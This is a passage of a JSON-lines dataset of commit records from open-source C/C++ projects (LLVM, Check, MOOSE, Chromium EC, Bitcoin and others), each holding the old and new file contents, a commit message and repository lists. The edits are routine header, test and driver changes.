assert_true(is_error(result));\n}\n\nvoid and_true(void **state) {\n  grammar_t *grammar = grammar_init(\n    non_terminal(\"And\"),\n    rule_init(\n      \"And\",\n      sequence(\n        and(terminal(\"hello\")),\n        terminal(\"h\")\n      )\n    ), 1\n  );\n\n  parse_result_t *result = parse(\"hello\", grammar);\n  assert_non_null(result);\n  assert_true(is_success(result));\n\n  parse_t *suc = result->data.result;\n  assert_int_equal(suc->length, 1);\n  assert_int_equal(suc->n_children, 1);\n\n  assert_int_equal(suc->children[0].length, 1);\n  assert_int_equal(suc->children[0].n_children, 0);\n}\n","subject":"Use new API for and parsing","message":"Use new API for and parsing\n","lang":"C","license":"mit","repos":"Baltoli\/peggo,Baltoli\/peggo"}
{"commit":"8829ba195ce53ec60a1d9258fd4f478eeb56e0ed","old_file":"include\/llvm\/ExecutionEngine\/JITSymbolFlags.h","new_file":"include\/llvm\/ExecutionEngine\/JITSymbolFlags.h","old_contents":"","new_contents":"\/\/===------ JITSymbolFlags.h - Flags for symbols in the JIT -----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ Symbol flags for symbols in the JIT (e.g. weak, exported).\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_EXECUTIONENGINE_JITSYMBOLFLAGS_H\n#define LLVM_EXECUTIONENGINE_JITSYMBOLFLAGS_H\n\n#include \"llvm\/IR\/GlobalValue.h\"\n\nnamespace llvm {\n\n\/\/\/ @brief Flags for symbols in the JIT.\nenum class JITSymbolFlags : char {\n  None = 0,\n  Weak = 1U << 0,\n  Exported = 1U << 1\n};\n\nJITSymbolFlags operator|(JITSymbolFlags LHS, JITSymbolFlags RHS) {\n  typedef std::underlying_type<JITSymbolFlags>::type UT;\n  return static_cast<JITSymbolFlags>(\n           static_cast<UT>(LHS) | static_cast<UT>(RHS));\n}\n\nJITSymbolFlags& operator |=(JITSymbolFlags &LHS, JITSymbolFlags RHS) {\n  LHS = LHS | RHS;\n  return LHS;\n}\n\nJITSymbolFlags operator&(JITSymbolFlags LHS, JITSymbolFlags RHS) {\n  typedef std::underlying_type<JITSymbolFlags>::type UT;\n  return static_cast<JITSymbolFlags>(\n           static_cast<UT>(LHS) & static_cast<UT>(RHS));\n}\n\nJITSymbolFlags& operator &=(JITSymbolFlags &LHS, JITSymbolFlags RHS) {\n  LHS = LHS & RHS;\n  return LHS;\n}\n\n\/\/\/ @brief Base class for symbols in the JIT.\nclass JITSymbolBase {\npublic:\n  JITSymbolBase(JITSymbolFlags Flags) : Flags(Flags) {}\n\n  JITSymbolFlags getFlags() const { return Flags; }\n\n  bool isWeak() const {\n    return (Flags & JITSymbolFlags::Weak) == JITSymbolFlags::Weak;\n  }\n\n  bool isExported() const {\n    return (Flags & JITSymbolFlags::Exported) == JITSymbolFlags::Exported;\n  }\n\n  static JITSymbolFlags flagsFromGlobalValue(const GlobalValue &GV) {\n    JITSymbolFlags Flags = JITSymbolFlags::None;\n    if (GV.hasWeakLinkage())\n      Flags |= JITSymbolFlags::Weak;\n    if (!GV.hasLocalLinkage() && !GV.hasHiddenVisibility())\n      Flags |= JITSymbolFlags::Exported;\n    return Flags;\n\n  }\n\nprivate:\n  JITSymbolFlags Flags;\n};\n\n} \/\/ end namespace llvm\n\n#endif\n","subject":"Add header that was accidentally left out of r231724.","message":"[Orc][MCJIT][RuntimeDyld] Add header that was accidentally left out of r231724.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@231726 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"dd059c831429f6d3706ff8e824cb3afcde383d37","old_file":"check\/tests\/check_check_main.c","new_file":"check\/tests\/check_check_main.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <check.h>\n#include \"check_check.h\"\n\nint main (void)\n{\n  int n;\n  SRunner *sr;\n\n  fork_setup();\n  setup_fixture();\n  sr = srunner_create (make_master_suite());\n  srunner_add_suite(sr, make_list_suite());\n  srunner_add_suite(sr, make_msg_suite());\n  srunner_add_suite(sr, make_log_suite());\n  srunner_add_suite(sr, make_limit_suite());\n  srunner_add_suite(sr, make_fork_suite());\n  srunner_add_suite(sr, make_fixture_suite());\n  srunner_add_suite(sr, make_pack_suite());\n  \n  setup();\n  printf (\"Ran %d tests in subordinate suite\\n\", sub_nfailed);\n  srunner_run_all (sr, CK_NORMAL);\n  cleanup();\n  fork_teardown();\n  teardown_fixture();\n  n = srunner_ntests_failed(sr);\n  srunner_free(sr);\n  return (n == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <check.h>\n#include \"check_check.h\"\n\nint main (void)\n{\n  int n;\n  SRunner *sr;\n\n  fork_setup();\n  setup_fixture();\n  sr = srunner_create (make_master_suite());\n  srunner_add_suite(sr, make_list_suite());\n  srunner_add_suite(sr, make_msg_suite());\n  srunner_add_suite(sr, make_log_suite());\n  srunner_add_suite(sr, make_limit_suite());\n  srunner_add_suite(sr, make_fork_suite());\n  srunner_add_suite(sr, make_fixture_suite());\n  srunner_add_suite(sr, make_pack_suite());\n  \n  setup();\n  printf (\"Ran %d tests in subordinate suite\\n\", sub_ntests);\n  srunner_run_all (sr, CK_NORMAL);\n  cleanup();\n  fork_teardown();\n  teardown_fixture();\n  n = srunner_ntests_failed(sr);\n  srunner_free(sr);\n  return (n == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","subject":"Use correct variable for number of tests","message":"Use correct variable for number of tests\n\n","lang":"C","license":"lgpl-2.1","repos":"tarruda\/check,tarruda\/check,tarruda\/check,tarruda\/check,tarruda\/check"}
{"commit":"461bf4f7c74b56d5944aab9b886ff30a50019e0e","old_file":"check\/tests\/check_check_main.c","new_file":"check\/tests\/check_check_main.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <check.h>\n#include \"check_check.h\"\n\nint main (void)\n{\n  int n;\n  SRunner *sr;\n\n  fork_setup();\n  setup_fixture();\n  sr = srunner_create (make_master_suite());\n  srunner_add_suite(sr, make_list_suite());\n  srunner_add_suite(sr, make_msg_suite());\n  srunner_add_suite(sr, make_log_suite());\n  srunner_add_suite(sr, make_limit_suite());\n  srunner_add_suite(sr, make_fork_suite());\n  srunner_add_suite(sr, make_fixture_suite());\n  srunner_add_suite(sr, make_pack_suite());\n  \n  setup();\n  printf (\"Ran %d tests in subordinate suite\\n\", sub_nfailed);\n  srunner_run_all (sr, CK_NORMAL);\n  cleanup();\n  fork_teardown();\n  teardown_fixture();\n  n = srunner_ntests_failed(sr);\n  srunner_free(sr);\n  return (n == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <check.h>\n#include \"check_check.h\"\n\nint main (void)\n{\n  int n;\n  SRunner *sr;\n\n  fork_setup();\n  setup_fixture();\n  sr = srunner_create (make_master_suite());\n  srunner_add_suite(sr, make_list_suite());\n  srunner_add_suite(sr, make_msg_suite());\n  srunner_add_suite(sr, make_log_suite());\n  srunner_add_suite(sr, make_limit_suite());\n  srunner_add_suite(sr, make_fork_suite());\n  srunner_add_suite(sr, make_fixture_suite());\n  srunner_add_suite(sr, make_pack_suite());\n  \n  setup();\n  printf (\"Ran %d tests in subordinate suite\\n\", sub_ntests);\n  srunner_run_all (sr, CK_NORMAL);\n  cleanup();\n  fork_teardown();\n  teardown_fixture();\n  n = srunner_ntests_failed(sr);\n  srunner_free(sr);\n  return (n == 0) ? EXIT_SUCCESS : EXIT_FAILURE;\n}\n","subject":"Use correct variable for number of tests","message":"Use correct variable for number of tests\n\n\ngit-svn-id: d023f1085a36f7a677188d00334e37d38ffecf51@230 64e312b2-a51f-0410-8e61-82d0ca0eb02a\n","lang":"C","license":"lgpl-2.1","repos":"libcheck\/check,9fcc\/check,krichter722\/check,brarcher\/check,brarcher\/check,9fcc\/check,krichter722\/check,9fcc\/check,libcheck\/check,libcheck\/check,krichter722\/check,brarcher\/check,brarcher\/check,9fcc\/check,libcheck\/check,9fcc\/check,libcheck\/check,brarcher\/check,krichter722\/check,krichter722\/check"}
{"commit":"0200f506b06b8fce7ae6872910915f1e40ccf1b7","old_file":"framework\/include\/base\/ComputeInitialConditionThread.h","new_file":"framework\/include\/base\/ComputeInitialConditionThread.h","old_contents":"\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#ifndef COMPUTEREINITIALCONDITIONTHREAD_H\n#define COMPUTEREINITIALCONDITIONTHREAD_H\n\n#include \"ParallelUniqueId.h\"\n\n\/\/ libmesh\n#include \"libmesh\/elem_range.h\"\n\nclass FEProblemBase;\n\nclass ComputeInitialConditionThread\n{\npublic:\n  ComputeInitialConditionThread(FEProblemBase & fe_problem);\n  \/\/ Splitting Constructor\n  ComputeInitialConditionThread(ComputeInitialConditionThread & x, Threads::split split);\n\n  void operator() (const ConstElemRange & range);\n  void join(const ComputeInitialConditionThread & \/*y*\/);\n\nprotected:\n  FEProblemBase & _fe_problem;\n  THREAD_ID _tid;\n};\n\n#endif \/\/COMPUTEINITIALCONDITIONTHREAD_H\n","new_contents":"\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#ifndef COMPUTEREINITIALCONDITIONTHREAD_H\n#define COMPUTEREINITIALCONDITIONTHREAD_H\n\n#include \"MooseTypes.h\"\n\n\/\/ libmesh\n#include \"libmesh\/elem_range.h\"\n#include \"libmesh\/threads.h\"\n\nclass FEProblemBase;\n\nclass ComputeInitialConditionThread\n{\npublic:\n  ComputeInitialConditionThread(FEProblemBase & fe_problem);\n  \/\/ Splitting Constructor\n  ComputeInitialConditionThread(ComputeInitialConditionThread & x, Threads::split split);\n\n  void operator() (const ConstElemRange & range);\n  void join(const ComputeInitialConditionThread & \/*y*\/);\n\nprotected:\n  FEProblemBase & _fe_problem;\n  THREAD_ID _tid;\n};\n\n#endif \/\/COMPUTEINITIALCONDITIONTHREAD_H\n","subject":"Include headers we need directly","message":"Include headers we need directly\n","lang":"C","license":"lgpl-2.1","repos":"backmari\/moose,bwspenc\/moose,permcody\/moose,idaholab\/moose,nuclear-wizard\/moose,backmari\/moose,idaholab\/moose,liuwenf\/moose,permcody\/moose,jessecarterMOOSE\/moose,liuwenf\/moose,SudiptaBiswas\/moose,sapitts\/moose,laagesen\/moose,andrsd\/moose,dschwen\/moose,bwspenc\/moose,harterj\/moose,sapitts\/moose,andrsd\/moose,liuwenf\/moose,lindsayad\/moose,idaholab\/moose,idaholab\/moose,andrsd\/moose,harterj\/moose,YaqiWang\/moose,milljm\/moose,sapitts\/moose,nuclear-wizard\/moose,lindsayad\/moose,lindsayad\/moose,idaholab\/moose,SudiptaBiswas\/moose,bwspenc\/moose,sapitts\/moose,milljm\/moose,milljm\/moose,jessecarterMOOSE\/moose,Chuban\/moose,backmari\/moose,friedmud\/moose,lindsayad\/moose,laagesen\/moose,laagesen\/moose,andrsd\/moose,nuclear-wizard\/moose,dschwen\/moose,permcody\/moose,SudiptaBiswas\/moose,lindsayad\/moose,Chuban\/moose,YaqiWang\/moose,liuwenf\/moose,harterj\/moose,dschwen\/moose,harterj\/moose,friedmud\/moose,sapitts\/moose,jessecarterMOOSE\/moose,milljm\/moose,liuwenf\/moose,laagesen\/moose,yipenggao\/moose,bwspenc\/moose,YaqiWang\/moose,Chuban\/moose,permcody\/moose,jessecarterMOOSE\/moose,harterj\/moose,yipenggao\/moose,friedmud\/moose,SudiptaBiswas\/moose,milljm\/moose,liuwenf\/moose,laagesen\/moose,dschwen\/moose,nuclear-wizard\/moose,andrsd\/moose,jessecarterMOOSE\/moose,yipenggao\/moose,bwspenc\/moose,SudiptaBiswas\/moose,backmari\/moose,Chuban\/moose,friedmud\/moose,dschwen\/moose,yipenggao\/moose,YaqiWang\/moose"}
{"commit":"f53d9f6cd370743d00f9d9a882941ff84d4bfb54","old_file":"LogDefer.h","new_file":"LogDefer.h","old_contents":"#ifndef LOGDEFER_H\n#define LOGDEFER_H\n\n#include \"picojson\/picojson.h\"\n\nclass LogDefer {\n  public:\n    LogDefer(std::function<void (const std::string&)> callback);\n    ~LogDefer();\n    void add_log(int verbosity, std::string msg);\n    void error(std::string msg);\n    void warn(std::string msg);\n    void info(std::string msg);\n    void debug(std::string msg);\n\n  private:\n    std::function<void (const std::string &)> callback_;\n    struct timeval start_tv_;\n    picojson::object o_;\n    picojson::array logs_;\n    picojson::array timers_;\n};\n\n#endif\n","new_contents":"#pragma once\n\n#include \"picojson\/picojson.h\"\n\nclass LogDefer {\n  public:\n    LogDefer(std::function<void (const std::string&)> callback);\n    ~LogDefer();\n    void add_log(int verbosity, std::string msg);\n    void error(std::string msg);\n    void warn(std::string msg);\n    void info(std::string msg);\n    void debug(std::string msg);\n\n  private:\n    std::function<void (const std::string &)> callback_;\n    struct timeval start_tv_;\n    picojson::object o_;\n    picojson::array logs_;\n    picojson::array timers_;\n};\n","subject":"Use pragma once instead of define hack (thanks Natalia)","message":"Use pragma once instead of define hack (thanks Natalia)\n","lang":"C","license":"bsd-2-clause","repos":"hoytech\/LogDefer-CXX"}
{"commit":"55130b9862bc2aab6a5498b3198fbdcf1c26acc2","old_file":"include\/vl6180_pi.h","new_file":"include\/vl6180_pi.h","old_contents":"#ifdef __cplusplus\nextern \"C\"{\n#endif \n\ntypedef int vl6180;\n\n#define VL1680_DEFALUT_ADDR 0x29\n\nint vl6180_initialise(int device, int i2cAddr);\nint get_distance(vl6180 handle);\nvoid set_scaling(vl6180 handle, int scaling);\n\n\/\/\/After calling that, you should discrad the handle to talk to the device and re-initialize it\nvoid vl6180_change_addr(vl6180 handle, int newAddr);\n\n\/\/hack:add access to lower_level functions\n\nint read_byte(vl6180 handle, int reg);\nvoid write_byte(vl6180 handle, int reg, char data);\nvoid write_two_bytes(vl6180 handle, int reg, int data);\n\n\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"#ifdef __cplusplus\nextern \"C\"{\n#endif \n\ntypedef int vl6180;\n\n#define VL1680_DEFALUT_ADDR 0x29\n\n\/\/\/Initialize a vl6180 sensor on the i2c port\n\/\/\/ \\param device The I2C bus to open. e.g. \"1\" for using \/dev\/i2c-1\n\/\/\/ \\param i2c_addr addres of the device. If you don't know, pass VL1680_DEFALUT_ADDR to it\n\/\/\/ \\return handle to the sensor. Keep this variable to talk to the sensor via the library\nvl6180 vl6180_initialise(int device, int i2c_addr);\n  \n\/\/\/Change the address of the device. Needed if you have an address conflict (for example: using two of theses sensors on the same design). The handle will also be updated\n\/\/\/ \\param handle The handle to the sensor given by vl6180_initialise\n\/\/\/ \\param new_addr The new address to use on the i2c bus for this device\nvoid vl6180_change_addr(vl6180 handle, int new_addr);\n\n\/\/TODO some of theses functions doesn't have the vl6180 prefix. udpate them to avoid name clashing\n  \n\/\/\/Return the current distance as readed by the sensor\n\/\/\/ \\param handle The handle to the sensor given by vl6180_initialise\n\/\/\/ \\return distance in milimeter as an integer\nint get_distance(vl6180 handle);\n\n\/\/\/Set the scalinb mode (read datasheet to seee about the max range vs. precision deal on this sensor)\n\/\/\/ \\param handle The handle to the sensor given by vl6180_initialise\n\/\/\/ \\param scaling Index of the scaling mode to use\nvoid set_scaling(vl6180 handle, int scaling);\n  \n\/\/hack:add access to lower_level functions\nint read_byte(vl6180 handle, int reg);\nvoid write_byte(vl6180 handle, int reg, char data);\nvoid write_two_bytes(vl6180 handle, int reg, int data);\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Comment the file \"doxygen style\"","message":"Comment the file \"doxygen style\"","lang":"C","license":"mit","repos":"leachj\/vl6180_pi"}
{"commit":"4a1ecb67f9ff1745422aecdd5cc70a9f630d7dc8","old_file":"driver\/battery\/bq20z453.c","new_file":"driver\/battery\/bq20z453.c","old_contents":"\/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * Smart battery driver for BQ20Z453.\n *\/\n\n#include \"battery_smart.h\"\n#include \"host_command.h\"\n\n#define PARAM_CUT_OFF 0x0010\n\nint battery_command_cut_off(struct host_cmd_handler_args *args)\n{\n\t\/*\n\t * TODO: Since this is a host command, the i2c bus is claimed by host.\n\t *       Thus, we would send back the response in advanced so that\n\t *       the host can release the bus and then EC can send command to\n\t *       battery.\n\t *\n\t *       Refactoring this via task is a way. However, it is wasteful.\n\t *       Need a light-weight solution.\n\t *\/\n\targs->result = EC_RES_SUCCESS;\n\thost_send_response(args);\n\n\t\/* This function would try to claim i2c and then send to battery. *\/\n\tsb_write(SB_MANUFACTURER_ACCESS, PARAM_CUT_OFF);\n\n\treturn EC_RES_SUCCESS;\n\t\/*\n\t * Not sure if there is a side-effect since this could send result\n\t * back to host TWICE.\n\t *\/\n}\nDECLARE_HOST_COMMAND(EC_CMD_BATTERY_CUT_OFF, battery_command_cut_off,\n\t\t     EC_VER_MASK(0));\n","new_contents":"\/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\n * Smart battery driver for BQ20Z453.\n *\/\n\n#include \"battery_smart.h\"\n#include \"hooks.h\"\n#include \"host_command.h\"\n\n#define PARAM_CUT_OFF 0x0010\n\nstatic void cutoff(void)\n{\n\t\/* Claim i2c and send cutoff command to battery. *\/\n\tsb_write(SB_MANUFACTURER_ACCESS, PARAM_CUT_OFF);\n}\nDECLARE_DEFERRED(cutoff);\n\nint battery_command_cut_off(struct host_cmd_handler_args *args)\n{\n\t\/*\n\t * Queue battery cutoff.  This must be deferred so we can send the\n\t * response to the host first.  Some platforms (snow) share an I2C bus\n\t * between the EC, AP, and battery, so we need the host to complete the\n\t * transaction and release the I2C bus before we'll be abl eto send the\n\t * cutoff command.\n\t *\/\n\thook_call_deferred(cutoff, 1000);\n\n\treturn EC_RES_SUCCESS;\n}\nDECLARE_HOST_COMMAND(EC_CMD_BATTERY_CUT_OFF, battery_command_cut_off,\n\t\t     EC_VER_MASK(0));\n","subject":"Fix battery cutoff command to use deferred function call","message":"pit: Fix battery cutoff command to use deferred function call\n\nRather than hackily sending a host response before sending the battery\ncutoff command, just put the cutoff command in a deferred function\ncall and respond normally to the host command.\n\nBUG=chrome-os-partner:23568\nBRANCH=none\nTEST=On battery power, 'ectool batterycutoff' prints success, then the\n     system loses power due to battery cutoff.\n\nChange-Id: Ic42d08ef94a10f89d093290cda63da01fca985a5\nSigned-off-by: Randall Spangler <62698fdbb84d1779579ee80c3f39fac22017e5bc@chromium.org>\nReviewed-on: https:\/\/chromium-review.googlesource.com\/174573\nReviewed-by: Bill Richardson <129945214b1d548d8e49b6c29c43094f8c78057f@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"mtk09422\/chromiumos-platform-ec,longsleep\/ec,gelraen\/cros-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,alterapraxisptyltd\/chromium-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,mtk09422\/chromiumos-platform-ec,coreboot\/chrome-ec,coreboot\/chrome-ec,fourier49\/BIZ_EC,md5555\/ec,md5555\/ec,thehobn\/ec,fourier49\/BIZ_EC,thehobn\/ec,fourier49\/BIZ_EC,alterapraxisptyltd\/chromium-ec,alterapraxisptyltd\/chromium-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,fourier49\/BZ_DEV_EC,md5555\/ec,akappy7\/ChromeOS_EC_LED_Diagnostics,gelraen\/cros-ec,fourier49\/BZ_DEV_EC,mtk09422\/chromiumos-platform-ec,eatbyte\/chromium-ec,akappy7\/ChromeOS_EC_LED_Diagnostics,coreboot\/chrome-ec,coreboot\/chrome-ec,thehobn\/ec,coreboot\/chrome-ec,eatbyte\/chromium-ec,eatbyte\/chromium-ec,fourier49\/BZ_DEV_EC,longsleep\/ec,thehobn\/ec,alterapraxisptyltd\/chromium-ec,fourier49\/BIZ_EC,fourier49\/BZ_DEV_EC,md5555\/ec,longsleep\/ec,eatbyte\/chromium-ec,coreboot\/chrome-ec,mtk09422\/chromiumos-platform-ec,longsleep\/ec,gelraen\/cros-ec,gelraen\/cros-ec"}
{"commit":"05a2b367b649928bee66e8acbe2d8ef3440d36a9","old_file":"libc\/include\/sys\/io.h","new_file":"libc\/include\/sys\/io.h","old_contents":"#ifndef _SYS_IO_H\n#define _SYS_IO_H\n\n#include <stdint.h>\n\nunsigned char inb(uint16_t port);\nvoid outb(uint16_t port, uint8_t value);\n\n#endif\n","new_contents":"#ifndef _SYS_IO_H\n#define _SYS_IO_H\n\n#include <stdint.h>\n\nuint8_t inb(uint16_t port);\nvoid outb(uint16_t port, uint8_t value);\nuint16_t inw(uint16_t port);\nvoid outw(uint16_t port, uint16_t value);\nuint32_t inl(uint16_t port);\nvoid outl(uint16_t port, uint32_t value);\n\n#endif\n","subject":"Add everything to header file","message":"Add everything to header file\n","lang":"C","license":"mit","repos":"simon-andrews\/norby,simon-andrews\/norby,simon-andrews\/norby"}
{"commit":"12941ad2f700f9a2ca22057a099b1152fc86be74","old_file":"critmem.h","new_file":"critmem.h","old_contents":"#ifndef CRITMEM_H\n#define CRITMEM_H\n\n#include <sys\/types.h>\n\nvoid *mycritmalloc(const char *f, long, size_t size, const char *message);\nvoid *mycritcalloc(const char *f, long, size_t size, const char *message);\nvoid *mycritrealloc(const char *f, long, void *a, size_t size,\n\t\t    const char *message);\nchar *mycritstrdup(const char *f, long, const char *, const char *message);\n#define critmalloc(a,b) mycritmalloc(__FILE__,__LINE__,a,b)\n#define critcalloc(a,b) mycritcalloc(__FILE__,__LINE__,a,b)\n#define critrealloc(a,b,c) mycritrealloc(__FILE__,__LINE__,a,b,c)\n#define critstrdup(a,b) mycritstrdup(__FILE__,__LINE__,a,b)\n\n#endif\n","new_contents":"#ifndef CRITMEM_H\n#define CRITMEM_H\n\n#include <sys\/types.h>\n\n\/*@only@*\/\/*@out@ *\/ void *mycritmalloc(const char *f, long, size_t size,\n\t\t\t\t\tconst char *message);\n\/*@only@*\/ void *mycritcalloc(const char *f, long, size_t size,\n\t\t\t      const char *message);\n\/*@only@*\/\/*@out@ *\/\/*@notnull@ *\/ void *mycritrealloc(const char *f, long,\n\/*@null@ *\/\/*@only@ *\/\/*@out@ *\/\/*@returned@ *\/\n\t\t\t\t\t\t       void *a, size_t size,\n\t\t\t\t\t\t       const char *message);\n\/*@only@*\/ char *mycritstrdup(const char *f, long, const char *,\n\t\t\t      const char *message);\n#define critmalloc(a,b) mycritmalloc(__FILE__,(long)__LINE__,a,b)\n#define critcalloc(a,b) mycritcalloc(__FILE__,(long)__LINE__,a,b)\n#define critrealloc(a,b,c) mycritrealloc(__FILE__,(long)__LINE__,a,b,c)\n#define critstrdup(a,b) mycritstrdup(__FILE__,(long)__LINE__,a,b)\n\n#endif\n","subject":"Include Ralf Wildenhues' lclint annotations.","message":"Include Ralf Wildenhues' lclint annotations.","lang":"C","license":"lgpl-2.1","repos":"BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode"}
{"commit":"4d4fb33fce0803f9c923307bdf82b8fdd2ed140b","old_file":"src\/reverse_iterator.h","new_file":"src\/reverse_iterator.h","old_contents":"\/\/ Taken from https:\/\/gist.github.com\/arvidsson\/7231973\n\n#ifndef BITCOIN_REVERSE_ITERATOR_HPP\n#define BITCOIN_REVERSE_ITERATOR_HPP\n\n\/**\n * Template used for reverse iteration in C++11 range-based for loops.\n * \n *   std::vector<int> v = {1, 2, 3, 4, 5};\n *   for (auto x : reverse_iterate(v))\n *       std::cout << x << \" \";\n *\/\n\ntemplate <typename T>\nclass reverse_range\n{\n    T &x;\n    \npublic:\n    reverse_range(T &x) : x(x) {}\n    \n    auto begin() const -> decltype(this->x.rbegin())\n    {\n        return x.rbegin();\n    }\n    \n    auto end() const -> decltype(this->x.rend())\n    {\n        return x.rend();\n    }\n};\n \ntemplate <typename T>\nreverse_range<T> reverse_iterate(T &x)\n{\n    return reverse_range<T>(x);\n}\n\n#endif \/\/ BITCOIN_REVERSE_ITERATOR_HPP\n","new_contents":"\/\/ Taken from https:\/\/gist.github.com\/arvidsson\/7231973\n\n#ifndef BITCOIN_REVERSE_ITERATOR_H\n#define BITCOIN_REVERSE_ITERATOR_H\n\n\/**\n * Template used for reverse iteration in C++11 range-based for loops.\n * \n *   std::vector<int> v = {1, 2, 3, 4, 5};\n *   for (auto x : reverse_iterate(v))\n *       std::cout << x << \" \";\n *\/\n\ntemplate <typename T>\nclass reverse_range\n{\n    T &m_x;\n    \npublic:\n    reverse_range(T &x) : m_x(x) {}\n    \n    auto begin() const -> decltype(this->m_x.rbegin())\n    {\n        return m_x.rbegin();\n    }\n    \n    auto end() const -> decltype(this->m_x.rend())\n    {\n        return m_x.rend();\n    }\n};\n \ntemplate <typename T>\nreverse_range<T> reverse_iterate(T &x)\n{\n    return reverse_range<T>(x);\n}\n\n#endif \/\/ BITCOIN_REVERSE_ITERATOR_H\n","subject":"Rename member field according to the style guide.","message":"Rename member field according to the style guide.\n","lang":"C","license":"mit","repos":"guncoin\/guncoin,ahmedbodi\/vertcoin,anditto\/bitcoin,deeponion\/deeponion,shelvenzhou\/BTCGPU,OmniLayer\/omnicore,prusnak\/bitcoin,jambolo\/bitcoin,practicalswift\/bitcoin,Kogser\/bitcoin,jtimon\/bitcoin,trippysalmon\/bitcoin,myriadteam\/myriadcoin,stamhe\/bitcoin,namecoin\/namecoin-core,Exgibichi\/statusquo,AkioNak\/bitcoin,BitzenyCoreDevelopers\/bitzeny,ElementsProject\/elements,starwels\/starwels,lateminer\/bitcoin,fanquake\/bitcoin,maaku\/bitcoin,TheBlueMatt\/bitcoin,MeshCollider\/bitcoin,domob1812\/huntercore,rnicoll\/bitcoin,ajtowns\/bitcoin,r8921039\/bitcoin,randy-waterhouse\/bitcoin,jmcorgan\/bitcoin,Kogser\/bitcoin,domob1812\/huntercore,CryptArc\/bitcoin,particl\/particl-core,mitchellcash\/bitcoin,nikkitan\/bitcoin,digibyte\/digibyte,thrasher-\/litecoin,laudaa\/bitcoin,jamesob\/bitcoin,StarbuckBG\/BTCGPU,sebrandon1\/bitcoin,Gazer022\/bitcoin,lbryio\/lbrycrd,donaloconnor\/bitcoin,lateminer\/bitcoin,GroestlCoin\/bitcoin,h4x3rotab\/BTCGPU,paveljanik\/bitcoin,shelvenzhou\/BTCGPU,myriadteam\/myriadcoin,untrustbank\/litecoin,rawodb\/bitcoin,ericshawlinux\/bitcoin,qtumproject\/qtum,pstratem\/bitcoin,laudaa\/bitcoin,ericshawlinux\/bitcoin,untrustbank\/litecoin,StarbuckBG\/BTCGPU,romanornr\/viacoin,GroestlCoin\/bitcoin,kallewoof\/bitcoin,deeponion\/deeponion,stamhe\/bitcoin,myriadcoin\/myriadcoin,instagibbs\/bitcoin,Exgibichi\/statusquo,destenson\/bitcoin--bitcoin,brandonrobertz\/namecoin-core,mb300sd\/bitcoin,romanornr\/viacoin,Jcing95\/iop-hd,stamhe\/bitcoin,vertcoin\/vertcoin,practicalswift\/bitcoin,tjps\/bitcoin,randy-waterhouse\/bitcoin,gmaxwell\/bitcoin,particl\/particl-core,vmp32k\/litecoin,sipsorcery\/bitcoin,kazcw\/bitcoin,bitcoin\/bitcoin,practicalswift\/bitcoin,stamhe\/bitcoin,jlopp\/statoshi,1185\/starwels,myriadteam\/myriadcoin,h4x3rotab\/BTCGPU,cryptoprojects\/ultimateonlinecash,vertcoin\/vertcoin,r8921039\/bitcoin,domob1812\/namecore,achow101\/bitcoin,alecalve\/bitcoin,fujicoin\/fujicoin,Xekyo\/bitcoin,jlopp\/statoshi,namecoin\/namecore